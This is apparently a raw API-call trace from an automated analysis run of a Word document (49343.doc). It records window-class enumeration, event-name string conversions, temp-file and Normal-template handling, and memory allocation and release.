[0100.208] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.208] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x50076
[0100.208] GetClassNameA (in: hWnd=0x50076, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
[0100.208] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
[0100.208] GetWindowThreadProcessId (in: hWnd=0x50076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.208] GetWindow (hWnd=0x50076, uCmd=0x2) returned 0x1006c
[0100.208] GetClassNameA (in: hWnd=0x1006c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
[0100.208] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
[0100.208] GetWindowThreadProcessId (in: hWnd=0x1006c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x70c
[0100.208] GetWindow (hWnd=0x1006c, uCmd=0x2) returned 0x1006a
[0100.208] GetClassNameA (in: hWnd=0x1006a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
[0100.208] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
[0100.208] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.208] GetWindow (hWnd=0x1006a, uCmd=0x2) returned 0x10062
[0100.208] GetClassNameA (in: hWnd=0x10062, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0100.208] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0100.208] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.208] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050
[0100.208] GetClassNameA (in: hWnd=0x10050, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0100.209] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0100.209] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.209] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10102
[0100.209] GetClassNameA (in: hWnd=0x10102, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21
[0100.209] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
[0100.209] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x500
[0100.209] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x10104
[0100.209] GetClassNameA (in: hWnd=0x10104, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.209] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.209] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x500
[0100.209] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f6
[0100.209] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21
[0100.209] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
[0100.209] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b4
[0100.209] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x100f8
[0100.209] GetClassNameA (in: hWnd=0x100f8, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.209] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.209] GetWindowThreadProcessId (in: hWnd=0x100f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b4
[0100.209] GetWindow (hWnd=0x100f8, uCmd=0x2) returned 0x100f0
[0100.209] GetClassNameA (in: hWnd=0x100f0, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="#43") returned 3
[0100.209] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1
[0100.209] GetWindowThreadProcessId (in: hWnd=0x100f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c
[0100.209] GetWindow (hWnd=0x100f0, uCmd=0x2) returned 0x100f2
[0100.209] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.209] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.209] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c
[0100.209] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x1004c
[0100.209] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24
[0100.209] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1
[0100.209] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.209] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10038
[0100.209] GetClassNameA (in: hWnd=0x10038, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
[0100.209] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
[0100.209] GetWindowThreadProcessId (in: hWnd=0x10038, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.209] GetWindow (hWnd=0x10038, uCmd=0x2) returned 0x10030
[0100.209] GetClassNameA (in: hWnd=0x10030, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10
[0100.209] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1
[0100.209] GetWindowThreadProcessId (in: hWnd=0x10030, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f8
[0100.209] GetWindow (hWnd=0x10030, uCmd=0x2) returned 0x2002c
[0100.209] GetClassNameA (in: hWnd=0x2002c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8
[0100.209] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1
[0100.209] GetWindowThreadProcessId (in: hWnd=0x2002c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f8
[0100.209] GetWindow (hWnd=0x2002c, uCmd=0x2) returned 0x20026
[0100.209] GetClassNameA (in: hWnd=0x20026, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19
[0100.209] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
[0100.209] GetWindowThreadProcessId (in: hWnd=0x20026, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x580
[0100.209] GetWindow (hWnd=0x20026, uCmd=0x2) returned 0x1002a
[0100.209] GetClassNameA (in: hWnd=0x1002a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Dwm") returned 3
[0100.209] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1
[0100.209] GetWindowThreadProcessId (in: hWnd=0x1002a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5d8
[0100.209] GetWindow (hWnd=0x1002a, uCmd=0x2) returned 0x20028
[0100.209] GetClassNameA (in: hWnd=0x20028, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.209] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.209] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x580
[0100.210] GetWindow (hWnd=0x20028, uCmd=0x2) returned 0x100ee
[0100.210] GetClassNameA (in: hWnd=0x100ee, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.210] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.210] GetWindowThreadProcessId (in: hWnd=0x100ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x16c
[0100.210] GetWindow (hWnd=0x100ee, uCmd=0x2) returned 0x100ec
[0100.210] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17
[0100.210] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1
[0100.210] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x16c
[0100.210] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x120192
[0100.210] GetClassNameA (in: hWnd=0x120192, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
[0100.210] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
[0100.210] GetWindowThreadProcessId (in: hWnd=0x120192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f8
[0100.210] GetWindow (hWnd=0x120192, uCmd=0x2) returned 0x100ca
[0100.210] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Progman") returned 7
[0100.210] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1
[0100.210] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f8
[0100.210] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x0
[0100.210] CRetailMalloc_Alloc () returned 0x5715f30
[0100.210] CRetailMalloc_Free () returned 0x4670001
[0101.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="49343", cchWideChar=-1, lpMultiByteStr=0x506f638, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="49343", lpUsedDefaultChar=0x0) returned 6
[0101.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="New", cchWideChar=4, lpMultiByteStr=0x301898, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="New", lpUsedDefaultChar=0x0) returned 4
[0101.596] _mbscpy_s (in: _Dst=0x3017a0, _DstSizeInBytes=0xd, _Src=0x81d18c2 | out: _Dst=0x3017a0) returned 0x0
[0101.596] _mbscpy_s (in: _Dst=0x3017a9, _DstSizeInBytes=0x4, _Src=0x301898 | out: _Dst=0x3017a9) returned 0x0
[0101.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Open", cchWideChar=5, lpMultiByteStr=0x301898, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Open", lpUsedDefaultChar=0x0) returned 5
[0101.596] _mbscpy_s (in: _Dst=0x3017a0, _DstSizeInBytes=0xe, _Src=0x81d18c2 | out: _Dst=0x3017a0) returned 0x0
[0101.596] _mbscpy_s (in: _Dst=0x3017a9, _DstSizeInBytes=0x5, _Src=0x301898 | out: _Dst=0x3017a9) returned 0x0
[0101.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Close", cchWideChar=6, lpMultiByteStr=0x301898, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Close", lpUsedDefaultChar=0x0) returned 6
[0101.597] _mbscpy_s (in: _Dst=0x3017a0, _DstSizeInBytes=0xf, _Src=0x81d18c2 | out: _Dst=0x3017a0) returned 0x0
[0101.597] _mbscpy_s (in: _Dst=0x3017a9, _DstSizeInBytes=0x6, _Src=0x301898 | out: _Dst=0x3017a9) returned 0x0
[0101.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sync", cchWideChar=5, lpMultiByteStr=0x301898, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sync", lpUsedDefaultChar=0x0) returned 5
[0101.597] _mbscpy_s (in: _Dst=0x3017a0, _DstSizeInBytes=0xe, _Src=0x81d18c2 | out: _Dst=0x3017a0) returned 0x0
[0101.597] _mbscpy_s (in: _Dst=0x3017a9, _DstSizeInBytes=0x5, _Src=0x301898 | out: _Dst=0x3017a9) returned 0x0
[0101.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XMLAfterInsert", cchWideChar=15, lpMultiByteStr=0x301898, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XMLAfterInsert", lpUsedDefaultChar=0x0) returned 15
[0101.597] _mbscpy_s (in: _Dst=0x3017a0, _DstSizeInBytes=0x18, _Src=0x81d18c2 | out: _Dst=0x3017a0) returned 0x0
[0101.597] _mbscpy_s (in: _Dst=0x3017a9, _DstSizeInBytes=0xf, _Src=0x301898 | out: _Dst=0x3017a9) returned 0x0
[0101.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XMLBeforeDelete", cchWideChar=16, lpMultiByteStr=0x301898, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XMLBeforeDelete", lpUsedDefaultChar=0x0) returned 16
[0101.597] _mbscpy_s (in: _Dst=0x3017a0, _DstSizeInBytes=0x19, _Src=0x81d18c2 | out: _Dst=0x3017a0) returned 0x0
[0101.597] _mbscpy_s (in: _Dst=0x3017a9, _DstSizeInBytes=0x10, _Src=0x301898 | out: _Dst=0x3017a9) returned 0x0
[0101.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ContentControlAfterAdd", cchWideChar=23, lpMultiByteStr=0x301898, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ContentControlAfterAdd", lpUsedDefaultChar=0x0) returned 23
[0101.597] _mbscpy_s (in: _Dst=0x3017a0, _DstSizeInBytes=0x20, _Src=0x81d18c2 | out: _Dst=0x3017a0) returned 0x0
[0101.597] _mbscpy_s (in: _Dst=0x3017a9, _DstSizeInBytes=0x17, _Src=0x301898 | out: _Dst=0x3017a9) returned 0x0
[0101.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ContentControlBeforeDelete", cchWideChar=27, lpMultiByteStr=0x301898, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ContentControlBeforeDelete", lpUsedDefaultChar=0x0) returned 27
[0101.597] _mbscpy_s (in: _Dst=0x3017a0, _DstSizeInBytes=0x24, _Src=0x81d18c2 | out: _Dst=0x3017a0) returned 0x0
[0101.597] _mbscpy_s (in: _Dst=0x3017a9, _DstSizeInBytes=0x1b, _Src=0x301898 | out: _Dst=0x3017a9) returned 0x0
[0101.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ContentControlOnExit", cchWideChar=21, lpMultiByteStr=0x301898, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ContentControlOnExit", lpUsedDefaultChar=0x0) returned 21
[0101.598] _mbscpy_s (in: _Dst=0x3017a0, _DstSizeInBytes=0x1e, _Src=0x81d18c2 | out: _Dst=0x3017a0) returned 0x0
[0101.598] _mbscpy_s (in: _Dst=0x3017a9, _DstSizeInBytes=0x15, _Src=0x301898 | out: _Dst=0x3017a9) returned 0x0
[0101.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ContentControlOnEnter", cchWideChar=22, lpMultiByteStr=0x301898, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ContentControlOnEnter", lpUsedDefaultChar=0x0) returned 22
[0101.598] _mbscpy_s (in: _Dst=0x3017a0, _DstSizeInBytes=0x1f, _Src=0x81d18c2 | out: _Dst=0x3017a0) returned 0x0
[0101.598] _mbscpy_s (in: _Dst=0x3017a9, _DstSizeInBytes=0x16, _Src=0x301898 | out: _Dst=0x3017a9) returned 0x0
[0101.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ContentControlBeforeStoreUpdate", cchWideChar=32, lpMultiByteStr=0x301898, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ContentControlBeforeStoreUpdate", lpUsedDefaultChar=0x0) returned 32
[0101.598] _mbscpy_s (in: _Dst=0x3017a0, _DstSizeInBytes=0x29, _Src=0x81d18c2 | out: _Dst=0x3017a0) returned 0x0
[0101.598] _mbscpy_s (in: _Dst=0x3017a9, _DstSizeInBytes=0x20, _Src=0x301898 | out: _Dst=0x3017a9) returned 0x0
[0101.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ContentControlBeforeContentUpdate", cchWideChar=34, lpMultiByteStr=0x301898, cbMultiByte=68, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ContentControlBeforeContentUpdate", lpUsedDefaultChar=0x0) returned 34
[0101.598] _mbscpy_s (in: _Dst=0x3017a0, _DstSizeInBytes=0x2b, _Src=0x81d18c2 | out: _Dst=0x3017a0) returned 0x0
[0101.598] _mbscpy_s (in: _Dst=0x3017a9, _DstSizeInBytes=0x22, _Src=0x301898 | out: _Dst=0x3017a9) returned 0x0
[0101.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BuildingBlockInsert", cchWideChar=20, lpMultiByteStr=0x301898, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BuildingBlockInsert", lpUsedDefaultChar=0x0) returned 20
[0101.598] _mbscpy_s (in: _Dst=0x3017a0, _DstSizeInBytes=0x1d, _Src=0x81d18c2 | out: _Dst=0x3017a0) returned 0x0
[0101.598] _mbscpy_s (in: _Dst=0x3017a9, _DstSizeInBytes=0x14, _Src=0x301898 | out: _Dst=0x3017a9) returned 0x0
[0102.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="~WRL0001", cchWideChar=-1, lpMultiByteStr=0x506f638, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="~WRL0001", lpUsedDefaultChar=0x0) returned 9
[0102.310] _wfullpath (in: _Buffer=0x3014c4, _Path="C:\\Users\\ATVEYD~1\\Desktop\\49343.doc", _BufferCount=0x104 | out: _Buffer="C:\\Users\\ATVEYD~1\\Desktop\\49343.doc") returned="C:\\Users\\ATVEYD~1\\Desktop\\49343.doc"
[0102.310] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0102.310] wcscpy_s (in: _Destination=0x3012e2, _SizeInWords=0x105, _Source="C:\\Users\\ATVEYD~1\\Desktop\\~WRL0001.tmp" | out: _Destination="C:\\Users\\ATVEYD~1\\Desktop\\~WRL0001.tmp") returned 0x0
[0102.310] _wcsicmp (_String1="*\\CC:\\Users\\ATVEYD~1\\Desktop\\~WRL0001.tmp", _String2="*\\CC:\\Users\\ATVEYD~1\\Desktop\\49343.doc") returned 74
[0102.310] IUnknown:QueryInterface (in: This=0x75e9628, riid=0x7278ca84*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x30104c | out: ppvObject=0x30104c*=0x0) returned 0x80004002
[0102.310] IUnknown:Release (This=0x75e9628) returned 0x8
[0102.310] IUnknown:QueryInterface (in: This=0x75e82c0, riid=0x7278ca84*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x30104c | out: ppvObject=0x30104c*=0x0) returned 0x80004002
[0102.310] IUnknown:Release (This=0x75e82c0) returned 0xc
[0102.310] IUnknown:QueryInterface (in: This=0x5810260, riid=0x7278ca84*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x30104c | out: ppvObject=0x30104c*=0x0) returned 0x80004002
[0102.310] IUnknown:Release (This=0x5810260) returned 0x7
[0102.310] wcscpy_s (in: _Destination=0x1c3f974, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0
[0102.311] IUnknown:QueryInterface (in: This=0x75e9628, riid=0x7278ca84*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x30101c | out: ppvObject=0x30101c*=0x0) returned 0x80004002
[0102.311] IUnknown:Release (This=0x75e9628) returned 0x8
[0102.311] IUnknown:QueryInterface (in: This=0x75e82c0, riid=0x7278ca84*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x30101c | out: ppvObject=0x30101c*=0x0) returned 0x80004002
[0102.311] IUnknown:Release (This=0x75e82c0) returned 0xc
[0102.311] IUnknown:QueryInterface (in: This=0x5810260, riid=0x7278ca84*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x30101c | out: ppvObject=0x30101c*=0x0) returned 0x80004002
[0102.311] IUnknown:Release (This=0x5810260) returned 0x7
[0102.311] IUnknown:QueryInterface (in: This=0x757e058, riid=0x7278ca84*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x30101c | out: ppvObject=0x30101c*=0x0) returned 0x80004002
[0102.311] IUnknown:Release (This=0x757e058) returned 0x6
[0102.311] IUnknown:QueryInterface (in: This=0x757e058, riid=0x7278ca84*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x30104c | out: ppvObject=0x30104c*=0x0) returned 0x80004002
[0102.311] IUnknown:Release (This=0x757e058) returned 0x6
[0102.311] CRetailMalloc_Alloc () returned 0x570dcb8
[0102.311] CRetailMalloc_Free () returned 0x1fd0001
[0102.312] CRetailMalloc_Alloc () returned 0x5570378
[0102.312] CRetailMalloc_Free () returned 0x12a0001
[0102.312] CRetailMalloc_Alloc () returned 0x77a6c40
[0102.312] CRetailMalloc_Free () returned 0xfc0001
[0102.312] CRetailMalloc_Alloc () returned 0x566b510
[0102.312] CRetailMalloc_Free () returned 0x7d0001
[0102.312] wcscpy_s (in: _Destination=0x73f7240, _SizeInWords=0x108, _Source="*\\CC:\\Users\\ATVEYD~1\\Desktop\\~WRL0001.tmp" | out: _Destination="*\\CC:\\Users\\ATVEYD~1\\Desktop\\~WRL0001.tmp") returned 0x0
[0102.312] _wfullpath (in: _Buffer=0x3014c0, _Path="C:\\Users\\ATVEYD~1\\Desktop\\~WRL0001.tmp", _BufferCount=0x104 | out: _Buffer="C:\\Users\\ATVEYD~1\\Desktop\\~WRL0001.tmp") returned="C:\\Users\\ATVEYD~1\\Desktop\\~WRL0001.tmp"
[0102.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="~WRL0001", cchWideChar=-1, lpMultiByteStr=0x506f638, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="~WRL0001", lpUsedDefaultChar=0x0) returned 9
[0102.313] _wfullpath (in: _Buffer=0x3016e0, _Path="C:\\Users\\ATVEYD~1\\Desktop\\~WRL0001.tmp", _BufferCount=0x104 | out: _Buffer="C:\\Users\\ATVEYD~1\\Desktop\\~WRL0001.tmp") returned="C:\\Users\\ATVEYD~1\\Desktop\\~WRL0001.tmp"
[0102.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="49343", cchWideChar=-1, lpMultiByteStr=0x506f638, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="49343", lpUsedDefaultChar=0x0) returned 6
[0102.432] _wfullpath (in: _Buffer=0x30a1e4, _Path="Normal", _BufferCount=0x104 | out: _Buffer="C:\\Users\\ATVeyDl98Z\\Documents\\Normal") returned="C:\\Users\\ATVeyDl98Z\\Documents\\Normal"
[0102.432] IUnknown:Release (This=0x756c504) returned 0x1
[0102.432] IUnknown:Release (This=0x75817e8) returned 0x0
[0102.432] CRetailMalloc_Free () returned 0x2be0001
[0102.432] CRetailMalloc_Free () returned 0x3a40001
[0102.432] CRetailMalloc_Free () returned 0x3260001
[0102.432] CRetailMalloc_Free () returned 0x32c0001
[0102.432] CRetailMalloc_Free () returned 0x3b00001
[0102.432] CRetailMalloc_Free () returned 0x2d80001
[0102.432] CRetailMalloc_Free () returned 0x2de0001
[0102.432] CRetailMalloc_Free () returned 0x2e40001
[0102.433] CRetailMalloc_Alloc () returned 0x7605030
[0102.433] CRetailMalloc_Free () returned 0x8f60001
[0102.433] CRetailMalloc_Free () returned 0x7ca0001
[0102.433] CRetailMalloc_Free () returned 0xa80001
[0102.433] CRetailMalloc_Alloc () returned 0x7605168
[0102.433] CRetailMalloc_Alloc () returned 0x5563818
[0102.433] CRetailMalloc_Alloc () returned 0x7605030
[0102.483] CRetailMalloc_Free () returned 0x8f60001
[0102.483] VirtualFree (lpAddress=0x84d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
[0102.486] VirtualFree (lpAddress=0x84e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
[0102.486] VirtualFree (lpAddress=0x85f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
[0102.487] VirtualFree (lpAddress=0x8600000, dwSize=0x0, dwFreeType=0x8000) returned 1
[0102.487] CRetailMalloc_Free () returned 0xffff0001
[0102.487] IUnknown:Release (This=0x75817bc) returned 0x0
[0102.487] IUnknown:Release (This=0x756c480) returned 0x1
[0102.487] IUnknown:Release (This=0x756c4d8) returned 0x0
[0102.487] IUnknown:Release (This=0x756c55c) returned 0x1
[0102.487] CRetailMalloc_Free () returned 0x1
[0102.487] CRetailMalloc_Free () returned 0x120001
[0102.487] CRetailMalloc_Free () returned 0x2920001
[0102.487] CRetailMalloc_Free () returned 0x29a0001
[0102.487] CRetailMalloc_Free () returned 0x2a20001
[0102.487] CRetailMalloc_Free () returned 0x2aa0001
[0102.487] CRetailMalloc_Free () returned 0x2b20001
[0102.487] CRetailMalloc_Free () returned 0x2ba0001
[0102.487] CRetailMalloc_Free () returned 0x2c20001
[0102.487] CRetailMalloc_Free () returned 0x2ca0001
[0102.488] CRetailMalloc_Free () returned 0x2d20001
[0102.488] CRetailMalloc_Free () returned 0x1
[0102.488] CRetailMalloc_Free () returned 0x1
[0102.488] CRetailMalloc_Free () returned 0x2da0001
[0102.488] CRetailMalloc_Free () returned 0x1
[0102.488] CRetailMalloc_Free () returned 0x2f20001
[0102.488] CRetailMalloc_Free () returned 0x3020001
[0102.488] CRetailMalloc_Free () returned 0x30a0001
[0102.488] CRetailMalloc_Free () returned 0x3120001
[0102.488] CRetailMalloc_Free () returned 0x31a0001
[0102.488] CRetailMalloc_Free () returned 0x3220001
[0102.488] CRetailMalloc_Free () returned 0x32a0001
[0102.488] CRetailMalloc_Free () returned 0x3320001
[0102.488] CRetailMalloc_Free () returned 0x33a0001
[0102.488] CRetailMalloc_Free () returned 0x3420001
[0102.488] CRetailMalloc_Free () returned 0x2480001
[0102.488] CRetailMalloc_Free () returned 0xffff0001
[0102.488] CRetailMalloc_Free () returned 0xffff0001
[0102.488] CRetailMalloc_Free () returned 0xfe0001
[0102.488] CRetailMalloc_Free () returned 0xd6f0001
[0102.488] CRetailMalloc_Free () returned 0xd680001
[0102.488] CRetailMalloc_Free () returned 0xd610001
[0102.488] CRetailMalloc_Free () returned 0xd5a0001
[0102.488] CRetailMalloc_Free () returned 0xd530001
[0102.488] CRetailMalloc_Free () returned 0xd4c0001
[0102.488] CRetailMalloc_Free () returned 0xd450001
[0102.488] CRetailMalloc_Free () returned 0xd3e0001
[0102.488] CRetailMalloc_Free () returned 0xd370001
[0102.488] CRetailMalloc_Free () returned 0xd300001
[0102.488] CRetailMalloc_Free () returned 0xd290001
[0102.488] CRetailMalloc_Free () returned 0xd220001
[0102.488] CRetailMalloc_Free () returned 0xd1b0001
[0102.488] CRetailMalloc_Free () returned 0xd140001
[0102.488] CRetailMalloc_Free () returned 0xd0d0001
